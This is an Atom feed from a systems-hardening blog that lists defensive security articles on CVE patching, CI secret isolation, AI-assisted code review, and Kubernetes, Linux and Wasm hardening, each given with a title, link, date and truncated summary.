<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>systemshardening.com</title>
  <subtitle>Hardening real systems in production, for engineers who actually run them.</subtitle>
  <link href="https://www.systemshardening.com/feed.xml" rel="self" type="application/atom+xml"/>
  <link href="https://www.systemshardening.com/" rel="alternate" type="text/html"/>
  <id>https://www.systemshardening.com/</id>
  <author>
    <name>Systems Hardening</name>
  </author>
  <updated>2026-06-15T00:00:00.000Z</updated>
  
  <entry>
    <title>When AI Finds Your OSS Vulnerability First: Coordinating AI-Discovered Disclosures</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-vulnerability-discovery-oss-coordination/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-vulnerability-discovery-oss-coordination/</id>
    <published>2026-06-15T00:00:00.000Z</published>
    <updated>2026-06-15T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>When AI Finds Your OSS Vulnerability First: Coordinating AI-Discovered Disclosures
The Problem
The traditional vulnerability disclosure timeline is built around human researchers working at human...</summary>
  </entry>
  
  <entry>
    <title>LLM-Powered Security Diff Analysis of Dependency Version Upgrades</title>
    <link href="https://www.systemshardening.com/articles/cicd/ai-dependency-security-diff-analysis/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/ai-dependency-security-diff-analysis/</id>
    <published>2026-06-15T00:00:00.000Z</published>
    <updated>2026-06-15T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>LLM-Powered Security Diff Analysis of Dependency Version Upgrades
The Problem
Renovate and Dependabot raise hundreds of dependency version bump PRs per month across a typical organisation’s...</summary>
  </entry>
  
  <entry>
    <title>A Composite AI Trust Scoring Framework for Open-Source Projects</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/oss-project-ai-trust-framework/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/oss-project-ai-trust-framework/</id>
    <published>2026-06-15T00:00:00.000Z</published>
    <updated>2026-06-15T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>A Composite AI Trust Scoring Framework for Open-Source Projects
The Problem
When an engineering team evaluates a new OSS library, the question “should we adopt this?” rarely receives a structured...</summary>
  </entry>
  
  <entry>
    <title>AI-Powered Security Review of Open-Source Kubernetes Operators Before Deployment</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-oss-operator-ai-security-review/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-oss-operator-ai-security-review/</id>
    <published>2026-06-15T00:00:00.000Z</published>
    <updated>2026-06-15T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>AI-Powered Security Review of Open-Source Kubernetes Operators Before Deployment
The Problem
A Kubernetes operator is a privileged program running inside your cluster with a service account whose...</summary>
  </entry>
  
  <entry>
    <title>AI-Assisted Security Audit of Open-Source Shared Libraries Before Production Use</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-oss-shared-library-ai-audit/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-oss-shared-library-ai-audit/</id>
    <published>2026-06-15T00:00:00.000Z</published>
    <updated>2026-06-15T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>AI-Assisted Security Audit of Open-Source Shared Libraries Before Production Use
The Problem
When a Linux package manager installs a shared library, it drops a .so file into /usr/lib or...</summary>
  </entry>
  
  <entry>
    <title>Building Trust Evidence for Open-Source Network Stacks via AI-Guided Fuzzing</title>
    <link href="https://www.systemshardening.com/articles/network/oss-network-stack-ai-fuzzing-trust/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/oss-network-stack-ai-fuzzing-trust/</id>
    <published>2026-06-15T00:00:00.000Z</published>
    <updated>2026-06-15T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Building Trust Evidence for Open-Source Network Stacks via AI-Guided Fuzzing
The Problem
When an engineering team evaluates an open-source networking library — an HTTP/2 parser, a QUIC implementation,...</summary>
  </entry>
  
  <entry>
    <title>AI Triage of Open-Source Scanner Findings to Cut False-Positive Noise</title>
    <link href="https://www.systemshardening.com/articles/observability/oss-scanner-finding-ai-triage/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/oss-scanner-finding-ai-triage/</id>
    <published>2026-06-15T00:00:00.000Z</published>
    <updated>2026-06-15T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>AI Triage of Open-Source Scanner Findings to Cut False-Positive Noise
The Problem
Production security programmes that run Trivy against container images, Grype against SBOMs, and Semgrep against...</summary>
  </entry>
  
  <entry>
    <title>AI-Powered Trust Evaluation of Open-Source Wasm Modules Before Deployment</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-oss-module-ai-trust-evaluation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-oss-module-ai-trust-evaluation/</id>
    <published>2026-06-15T00:00:00.000Z</published>
    <updated>2026-06-15T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>AI-Powered Trust Evaluation of Open-Source Wasm Modules Before Deployment
The Problem
Plugin ecosystems built on WebAssembly are proliferating across the infrastructure stack. Envoy proxy filters,...</summary>
  </entry>
  
  <entry>
    <title>LLM-Assisted Security Review of Open Source Contributions</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/llm-assisted-oss-contribution-vetting/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/llm-assisted-oss-contribution-vetting/</id>
    <published>2026-06-10T00:00:00.000Z</published>
    <updated>2026-06-10T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>LLM-Assisted Security Review of Open Source Contributions
The Problem
Open source maintainers at active projects operate under a review burden that is structurally incompatible with careful security...</summary>
  </entry>
  
  <entry>
    <title>Fork PR Secret Isolation: Preventing CI Secret Exfiltration via Pull Requests</title>
    <link href="https://www.systemshardening.com/articles/cicd/pr-triggered-ci-secret-isolation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/pr-triggered-ci-secret-isolation/</id>
    <published>2026-06-10T00:00:00.000Z</published>
    <updated>2026-06-10T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Fork PR Secret Isolation: Preventing CI Secret Exfiltration via Pull Requests
The Problem
GitHub Actions creates a non-obvious security boundary between PRs from branches within the same repository...</summary>
  </entry>
  
  <entry>
    <title>OSS Contributor Identity Verification: Trust Levels, GPG Signing, and the Limits of DCO</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/oss-contributor-identity-verification/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/oss-contributor-identity-verification/</id>
    <published>2026-06-10T00:00:00.000Z</published>
    <updated>2026-06-10T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>OSS Contributor Identity Verification: Trust Levels, GPG Signing, and the Limits of DCO
The Problem
The standard identity controls applied to OSS contributors in 2024 — Developer Certificate of Origin...</summary>
  </entry>
  
  <entry>
    <title>Admission Webhook PR Poisoning: How a Merged PR Becomes a Cluster Backdoor</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-admission-webhook-pr-poison/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-admission-webhook-pr-poison/</id>
    <published>2026-06-10T00:00:00.000Z</published>
    <updated>2026-06-10T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Admission Webhook PR Poisoning: How a Merged PR Becomes a Cluster Backdoor
The Problem
Every resource create and update operation in a Kubernetes cluster passes through the admission webhook pipeline...</summary>
  </entry>
  
  <entry>
    <title>Detecting Backdoors in Kernel Patch Submissions: Lessons from the xz-utils Attack</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-kernel-patch-backdoor-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-kernel-patch-backdoor-detection/</id>
    <published>2026-06-10T00:00:00.000Z</published>
    <updated>2026-06-10T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Detecting Backdoors in Kernel Patch Submissions: Lessons from the xz-utils Attack
The Problem
The xz-utils supply chain attack — CVE-2024-3094, disclosed in March 2024 — demonstrated the attack...</summary>
  </entry>
  
  <entry>
    <title>OSS Network Library PR Trust Chain: When a Merged PR Changes Your TLS Stack</title>
    <link href="https://www.systemshardening.com/articles/network/oss-network-dependency-pr-trust-chain/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/oss-network-dependency-pr-trust-chain/</id>
    <published>2026-06-10T00:00:00.000Z</published>
    <updated>2026-06-10T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>OSS Network Library PR Trust Chain: When a Merged PR Changes Your TLS Stack
The Problem
Open-source network libraries sit at the bottom of every production application’s trust chain. Go services use...</summary>
  </entry>
  
  <entry>
    <title>Detecting Anomalous PR Patterns in OSS Projects via GitHub Audit Logs</title>
    <link href="https://www.systemshardening.com/articles/observability/oss-maintainer-pr-anomaly-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/oss-maintainer-pr-anomaly-detection/</id>
    <published>2026-06-10T00:00:00.000Z</published>
    <updated>2026-06-10T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Detecting Anomalous PR Patterns in OSS Projects via GitHub Audit Logs
The Problem
The xz-utils supply chain attack — discovered in March 2024 — is the defining case study for long-game OSS compromise....</summary>
  </entry>
  
  <entry>
    <title>Security Review of PR-Submitted Wasm Plugins: Capability Auditing and Binary Signing</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-plugin-pr-security-review/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-plugin-pr-security-review/</id>
    <published>2026-06-10T00:00:00.000Z</published>
    <updated>2026-06-10T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Security Review of PR-Submitted Wasm Plugins: Capability Auditing and Binary Signing
The Problem
Plugin ecosystems that accept community-contributed Wasm binaries via pull request present a security...</summary>
  </entry>
  
  <entry>
    <title>Defending Against LLM-Generated Exploit Code: When AI Closes the Attacker Timeline</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/llm-exploit-code-generation-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/llm-exploit-code-generation-defence/</id>
    <published>2026-06-09T00:00:00.000Z</published>
    <updated>2026-06-09T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Defending Against LLM-Generated Exploit Code: When AI Closes the Attacker Timeline
The Problem
In 2023, the median time from CVE publication to a publicly available exploit was approximately 5 days....</summary>
  </entry>
  
  <entry>
    <title>Tuning CI Vulnerability Scanner Gates for High CVE Volume</title>
    <link href="https://www.systemshardening.com/articles/cicd/cve-scanner-ci-gate-tuning-high-volume/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/cve-scanner-ci-gate-tuning-high-volume/</id>
    <published>2026-06-09T00:00:00.000Z</published>
    <updated>2026-06-09T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Tuning CI Vulnerability Scanner Gates for High CVE Volume
The Problem
When NVD published 28,000 CVEs in 2023 and 40,000 in 2024, teams running Trivy or Grype as hard CI gates started experiencing the...</summary>
  </entry>
  
  <entry>
    <title>Patch SLA Compression in the LLM Exploit Era: From 30 Days to 24 Hours</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/patch-sla-compression-llm-exploit-era/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/patch-sla-compression-llm-exploit-era/</id>
    <published>2026-06-09T00:00:00.000Z</published>
    <updated>2026-06-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Patch SLA Compression in the LLM Exploit Era: From 30 Days to 24 Hours
The Problem
Enterprise vulnerability management programs typically define patch SLAs by CVSS severity: Critical (CVSS ≥ 9.0)...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes CVE Auto-Remediation Operator: Closing the Patch Window Automatically</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-cve-operator-auto-remediation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-cve-operator-auto-remediation/</id>
    <published>2026-06-09T00:00:00.000Z</published>
    <updated>2026-06-09T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes CVE Auto-Remediation Operator: Closing the Patch Window Automatically
The Problem
The median time between a CVE publication and a working exploit in the wild has been falling for years....</summary>
  </entry>
  
  <entry>
    <title>Real-Time CVE Exposure Assessment with eBPF: Is This Kernel Bug Actually Reachable?</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-cve-exposure-assessment-ebpf/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-cve-exposure-assessment-ebpf/</id>
    <published>2026-06-09T00:00:00.000Z</published>
    <updated>2026-06-09T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Real-Time CVE Exposure Assessment with eBPF: Is This Kernel Bug Actually Reachable?
The Problem
When a kernel CVE drops — CVSSv3 9.8, remote code execution, affects kernels 5.15 through 6.10 — the...</summary>
  </entry>
  
  <entry>
    <title>Virtual Patching: WAF Rules and nftables Filters for Unpatched CVEs</title>
    <link href="https://www.systemshardening.com/articles/network/virtual-patching-waf-nftables-cve/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/virtual-patching-waf-nftables-cve/</id>
    <published>2026-06-09T00:00:00.000Z</published>
    <updated>2026-06-09T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Virtual Patching: WAF Rules and nftables Filters for Unpatched CVEs
The Problem
A CVE with a network-exploitable attack vector is published. The CVSS score is 9.8. The CVE affects the version of NGINX...</summary>
  </entry>
  
  <entry>
    <title>Behavioral Detection for Active CVE Exploitation in Production</title>
    <link href="https://www.systemshardening.com/articles/observability/cve-exploitation-behavioral-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/cve-exploitation-behavioral-detection/</id>
    <published>2026-06-09T00:00:00.000Z</published>
    <updated>2026-06-09T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Behavioral Detection for Active CVE Exploitation in Production
The Problem
The patch window is real. Between CVE publication and complete patch deployment across a production fleet, there is a period...</summary>
  </entry>
  
  <entry>
    <title>Zero-Downtime CVE Patching via WebAssembly Module Hot-Reload</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-module-hot-reload-cve-patching/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-module-hot-reload-cve-patching/</id>
    <published>2026-06-09T00:00:00.000Z</published>
    <updated>2026-06-09T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Zero-Downtime CVE Patching via WebAssembly Module Hot-Reload
The Problem
Every time a CVE is found in a WebAssembly runtime or a Wasm module used as a plugin, policy engine, or edge function, the...</summary>
  </entry>
  
  <entry>
    <title>AI Agent Session Isolation in Multi-Tenant Platforms</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-agent-session-isolation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-agent-session-isolation/</id>
    <published>2026-06-08T00:00:00.000Z</published>
    <updated>2026-06-08T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI Agent Session Isolation in Multi-Tenant Platforms
The Problem
As LLM-based agents move from single-user deployments to shared platform infrastructure — think hosted coding assistants,...</summary>
  </entry>
  
  <entry>
    <title>GCP Cloud Build: SLSA Provenance, Artifact Registry Signing, and Binary Authorization</title>
    <link href="https://www.systemshardening.com/articles/cicd/google-cloud-build-slsa-binary-authorization/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/google-cloud-build-slsa-binary-authorization/</id>
    <published>2026-06-08T00:00:00.000Z</published>
    <updated>2026-06-08T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>GCP Cloud Build: SLSA Provenance, Artifact Registry Signing, and Binary Authorization
The Problem
Most organisations adopting Google Cloud Platform reach for Cloud Build for CI/CD without...</summary>
  </entry>
  
  <entry>
    <title>NIST AI RMF 1.0 Technical Security Controls for Production AI Systems</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/nist-ai-rmf-technical-controls/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/nist-ai-rmf-technical-controls/</id>
    <published>2026-06-08T00:00:00.000Z</published>
    <updated>2026-06-08T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>NIST AI RMF 1.0 Technical Security Controls for Production AI Systems
The Problem
The NIST AI Risk Management Framework (AI RMF 1.0, published January 2023) provides a vocabulary and process structure...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Structured Authorization Config: Hardening Multi-Webhook Auth Chains</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-structured-authorization-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-structured-authorization-security/</id>
    <published>2026-06-08T00:00:00.000Z</published>
    <updated>2026-06-08T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Structured Authorization Config: Hardening Multi-Webhook Auth Chains
The Problem
Before Kubernetes 1.30, authorization configuration was a flat --authorization-mode flag on the API server:...</summary>
  </entry>
  
  <entry>
    <title>Hardening Rust-Written Linux Kernel Drivers: Supply Chain Verification and Module Signing</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-kernel-rust-driver-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-kernel-rust-driver-security/</id>
    <published>2026-06-08T00:00:00.000Z</published>
    <updated>2026-06-08T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Hardening Rust-Written Linux Kernel Drivers: Supply Chain Verification and Module Signing
The Problem
The Rust-for-Linux project crossed a critical threshold with Linux 6.8: the first Rust-written...</summary>
  </entry>
  
  <entry>
    <title>SMTP DANE and MTA-STS: Preventing Opportunistic TLS Downgrade in Mail Delivery</title>
    <link href="https://www.systemshardening.com/articles/network/smtp-dane-mta-sts-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/smtp-dane-mta-sts-hardening/</id>
    <published>2026-06-08T00:00:00.000Z</published>
    <updated>2026-06-08T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>SMTP DANE and MTA-STS: Preventing Opportunistic TLS Downgrade in Mail Delivery
The Problem
SMTP between mail servers uses opportunistic TLS by default: the sending MTA issues STARTTLS if the receiving...</summary>
  </entry>
  
  <entry>
    <title>Grafana Alloy Security Hardening: Protecting the OTel Collector Distribution</title>
    <link href="https://www.systemshardening.com/articles/observability/grafana-alloy-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/grafana-alloy-security-hardening/</id>
    <published>2026-06-08T00:00:00.000Z</published>
    <updated>2026-06-08T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Grafana Alloy Security Hardening: Protecting the OTel Collector Distribution
The Problem
Grafana Alloy graduated to GA in April 2024 as the successor to Grafana Agent, consolidating metrics scraping,...</summary>
  </entry>
  
  <entry>
    <title>WebAssembly GC Proposal Security Implications for Multi-Tenant Runtimes</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-gc-proposal-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-gc-proposal-security/</id>
    <published>2026-06-08T00:00:00.000Z</published>
    <updated>2026-06-08T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WebAssembly GC Proposal Security Implications for Multi-Tenant Runtimes
The Problem
The WebAssembly GC proposal (v1 merged into the Wasm spec November 2023; shipped in Chrome 119, Firefox 120, and...</summary>
  </entry>
  
  <entry>
    <title>Preventing Secret Exfiltration via AI Coding Tool Context Windows</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-coding-tool-secret-exfiltration/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-coding-tool-secret-exfiltration/</id>
    <published>2026-05-27T00:00:00.000Z</published>
    <updated>2026-05-27T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Preventing Secret Exfiltration via AI Coding Tool Context Windows
Problem
AI coding assistants — GitHub Copilot, Cursor, Claude Code, Codeium, Amazon Q, and similar tools — provide value precisely...</summary>
  </entry>
  
  <entry>
    <title>GitHub Actions pull_request_target Injection: The Secrets-Leaking Trigger</title>
    <link href="https://www.systemshardening.com/articles/cicd/github-actions-pull-request-target-injection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/github-actions-pull-request-target-injection/</id>
    <published>2026-05-27T00:00:00.000Z</published>
    <updated>2026-05-27T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>GitHub Actions pull_request_target Injection: The Secrets-Leaking Trigger
Problem
GitHub Actions provides two similar-looking triggers for pull request events:

pull_request: runs in the context of...</summary>
  </entry>
  
  <entry>
    <title>CDN and Third-Party Script Supply Chain Security: Lessons from polyfill.io</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/cdn-third-party-script-supply-chain/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/cdn-third-party-script-supply-chain/</id>
    <published>2026-05-27T00:00:00.000Z</published>
    <updated>2026-05-27T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>CDN and Third-Party Script Supply Chain Security: Lessons from polyfill.io
Problem
In June 2024, polyfill.io — a CDN serving JavaScript polyfills to over 100,000 websites — was found to be serving...</summary>
  </entry>
  
  <entry>
    <title>Argo Workflows Template Injection via User-Controlled Parameters</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/argo-workflows-template-injection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/argo-workflows-template-injection/</id>
    <published>2026-05-27T00:00:00.000Z</published>
    <updated>2026-05-27T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Argo Workflows Template Injection via User-Controlled Parameters
Problem
Argo Workflows uses a templating engine to define and execute workflows. Template expressions such as...</summary>
  </entry>
  
  <entry>
    <title>Hardening Against needrestart LPE and the /proc/environ Injection Pattern</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-needrestart-lpe-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-needrestart-lpe-hardening/</id>
    <published>2026-05-27T00:00:00.000Z</published>
    <updated>2026-05-27T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Hardening Against needrestart LPE and the /proc/environ Injection Pattern
Problem
needrestart is a widely deployed utility on Debian and Ubuntu systems that checks whether running services need to be...</summary>
  </entry>
  
  <entry>
    <title>Hardening Network Edge Devices Against Nation-State CVE Exploitation</title>
    <link href="https://www.systemshardening.com/articles/network/network-edge-device-vpn-cve-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/network-edge-device-vpn-cve-hardening/</id>
    <published>2026-05-27T00:00:00.000Z</published>
    <updated>2026-05-27T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Hardening Network Edge Devices Against Nation-State CVE Exploitation
Problem
Network edge devices — SSL VPN gateways, firewall management interfaces, and remote access platforms — have become a...</summary>
  </entry>
  
  <entry>
    <title>Prometheus Operator RBAC: Cluster-Wide Secret Access via ServiceMonitor</title>
    <link href="https://www.systemshardening.com/articles/observability/prometheus-operator-rbac-privilege-escalation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/prometheus-operator-rbac-privilege-escalation/</id>
    <published>2026-05-27T00:00:00.000Z</published>
    <updated>2026-05-27T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Prometheus Operator RBAC: Cluster-Wide Secret Access via ServiceMonitor
Problem
The Prometheus Operator is the de facto standard for deploying Prometheus in Kubernetes. It introduces ServiceMonitor,...</summary>
  </entry>
  
  <entry>
    <title>Security Implications of Asyncify-Transformed Wasm Modules</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-asyncify-security-implications/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-asyncify-security-implications/</id>
    <published>2026-05-27T00:00:00.000Z</published>
    <updated>2026-05-27T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Security Implications of Asyncify-Transformed Wasm Modules
Problem
Asyncify is a transformation applied by Emscripten that allows synchronous C/C++ code to be compiled to WebAssembly and then run in...</summary>
  </entry>
  
  <entry>
    <title>AI-Accelerated CVE Discovery and What It Means for Your Patch Lag</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-accelerated-cve-discovery-response/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-accelerated-cve-discovery-response/</id>
    <published>2026-05-16T00:00:00.000Z</published>
    <updated>2026-05-16T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI-Accelerated CVE Discovery and What It Means for Your Patch Lag
Problem
The rate of CVE discovery is accelerating, and AI-assisted tools are a primary driver. Google’s Project Naptime (2024), which...</summary>
  </entry>
  
  <entry>
    <title>Managing CVE Remediation Pipelines at Scale</title>
    <link href="https://www.systemshardening.com/articles/cicd/cve-remediation-pipeline-at-volume/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/cve-remediation-pipeline-at-volume/</id>
    <published>2026-05-16T00:00:00.000Z</published>
    <updated>2026-05-16T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Managing CVE Remediation Pipelines at Scale
Problem
The volume of CVEs affecting software dependencies has increased sharply. A moderately complex application with 200 direct and transitive...</summary>
  </entry>
  
  <entry>
    <title>CVE Program Resilience: Building Beyond NVD Dependency</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/cve-program-resilience-nvd-alternatives/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/cve-program-resilience-nvd-alternatives/</id>
    <published>2026-05-16T00:00:00.000Z</published>
    <updated>2026-05-16T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>CVE Program Resilience: Building Beyond NVD Dependency
Problem
In April 2025, MITRE announced that its US government contract to operate the CVE program was expiring, raising the possibility that the...</summary>
  </entry>
  
  <entry>
    <title>EPSS-Driven CVE Patch Prioritization for Kubernetes Workloads</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-epss-driven-patch-prioritization/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-epss-driven-patch-prioritization/</id>
    <published>2026-05-16T00:00:00.000Z</published>
    <updated>2026-05-16T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>EPSS-Driven CVE Patch Prioritization for Kubernetes Workloads
Problem
A container image scan across a typical Kubernetes cluster produces hundreds to thousands of CVE findings. A medium-sized cluster...</summary>
  </entry>
  
  <entry>
    <title>Reducing Your Applicable Linux Kernel CVE Count via Attack Surface Reduction</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-kernel-cve-attack-surface-reduction/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-kernel-cve-attack-surface-reduction/</id>
    <published>2026-05-16T00:00:00.000Z</published>
    <updated>2026-05-16T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Reducing Your Applicable Linux Kernel CVE Count via Attack Surface Reduction
Problem
The Linux kernel is the most CVE-intensive piece of software in any Linux deployment. In 2024 alone, over 5,700...</summary>
  </entry>
  
  <entry>
    <title>Compensating for NVD Enrichment Lag in Network Vulnerability Scanning</title>
    <link href="https://www.systemshardening.com/articles/network/nvd-enrichment-lag-scanner-compensation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/nvd-enrichment-lag-scanner-compensation/</id>
    <published>2026-05-16T00:00:00.000Z</published>
    <updated>2026-05-16T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Compensating for NVD Enrichment Lag in Network Vulnerability Scanning
Problem
The National Vulnerability Database (NVD), maintained by NIST, is the canonical source for CVE enrichment data: CVSS...</summary>
  </entry>
  
  <entry>
    <title>Integrating CISA KEV into Your SIEM for Real-Time Exploitation Alerts</title>
    <link href="https://www.systemshardening.com/articles/observability/cisa-kev-alerting-integration/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/cisa-kev-alerting-integration/</id>
    <published>2026-05-16T00:00:00.000Z</published>
    <updated>2026-05-16T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Integrating CISA KEV into Your SIEM for Real-Time Exploitation Alerts
Problem
CISA’s Known Exploited Vulnerabilities (KEV) catalog is the most operationally actionable CVE intelligence source...</summary>
  </entry>
  
  <entry>
    <title>Tracking CVEs Across the Wasm Runtime Supply Chain</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-runtime-cve-tracking-supply-chain/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-runtime-cve-tracking-supply-chain/</id>
    <published>2026-05-16T00:00:00.000Z</published>
    <updated>2026-05-16T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Tracking CVEs Across the Wasm Runtime Supply Chain
Problem
The Wasm runtime ecosystem has matured rapidly: Wasmtime (Bytecode Alliance), WasmEdge (CNCF), wasmer, wazero, and the Wasm engines embedded...</summary>
  </entry>
  
  <entry>
    <title>Hardening NGINX as a Reverse Proxy for AI Inference Endpoints</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/nginx-ai-inference-proxy-hardening/" rel="alternate" type="text/html"/>
